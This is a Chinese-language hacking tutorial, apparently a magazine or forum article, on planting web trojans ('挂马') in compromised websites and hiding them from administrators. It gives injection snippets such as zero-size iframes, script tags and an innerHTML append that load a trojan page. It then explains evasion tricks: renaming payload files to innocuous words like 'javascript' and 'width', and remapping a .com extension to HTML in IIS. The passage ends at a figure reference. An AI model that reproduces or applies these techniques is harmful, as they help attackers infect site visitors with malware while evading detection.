话说某夜,月黑风高。一个黑得不能再黑的黑客,在X网站上挂上了自己苦心免杀的Y网马一只。小马刚刚挂上不久就被无情地咔嚓了!我们英明神勇的Z管理员再一次揪出了藏了又藏的小马……
废话不多说,今天就给大家介绍怎么挂马。也许你会惊讶。挂马,网上不是有流传的方法吗?iframe和Script都能搞得定,怎么还有人来显摆呢?听我说,凡是挂马,最终都是能被发现的(废话!),但是如果能最大限度地躲过检查,那岂不是更妙?因为挂马也是一种艺术。
下面我就给大家介绍几个挂马的绝招,关键是隐藏。首先我们来了解一下常见的几种网页挂马方式,已经会的就直接跳过吧!
|
1)<iframe src=”muma.htm” width=0 height=0></iframe>
2)<script src=muma.js language=javascript></script>
3)top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="muma.htm "></iframe>' |
以上是网上常见的挂马方式。挂马,讲的就是隐蔽,不让对方发现;而且就算发现被挂马,也不能轻易地暴露网马的地址。怎么办呢?我们有绝招!
去文件后缀法
大多数情况下,我们挂马都会用到<script src=muma.js></script>和<iframe src=muma.htm></iframe>这两种方式,明眼人一看就知道有问题。我们来简单处理一下,把后缀去掉,同时加上迷惑因子。针对Script调用,我们将调用代码改为<script src=javascript></script>,同时将调用网马的JS文件放在同目录下,改名为javascript。是的,你没看错,网马调用的JS文件就是http://www.shadu120.com/javascript。网马的发现难度是不是一下子增加了不少呢?我们继续改造,调用代码使用<iframe src=width width=0 height=0></iframe>,网马改名为同目录下的width。当然,如果你够“阴险”、够“狡猾”,不怕骂,还可以再考虑其它更迷惑的名字。
变异文件后缀法
虽然这招在网上有出现过,但是对其进行总结并延伸的却没有。下面我们来突破一下。很多人都用过<script scr=css.css></script>这种模式挂过马,也就是说Script挂马这种方式并不依赖于文件后缀,但是你见过<iframe src=www.baidu.com></iframe>吗?今天我们就来实现它。当然,这要有一定前提的。网马所在的服务器要在你手里,或者你有网站的IIS管理权限。我们知道,IIS对受访文件的类型是根据扩展名来识别的,比如我们输入index.asp,系统就会调用asp.dll来解析;输入index.htm,就自动解释为HTML代码;如果是exe文件,则直接提示下载。由此触发了我的灵感,何不构造一个自己需要的后缀呢?打开IIS管理器,找到网站,点右键看“属性->HTTP头->文件类型”,新建文件扩展名.com,文件类型为text/html,点击确定后,这个扩展名在网站上就可以使用了,而且会被当作HTML来解析,如图1所示。
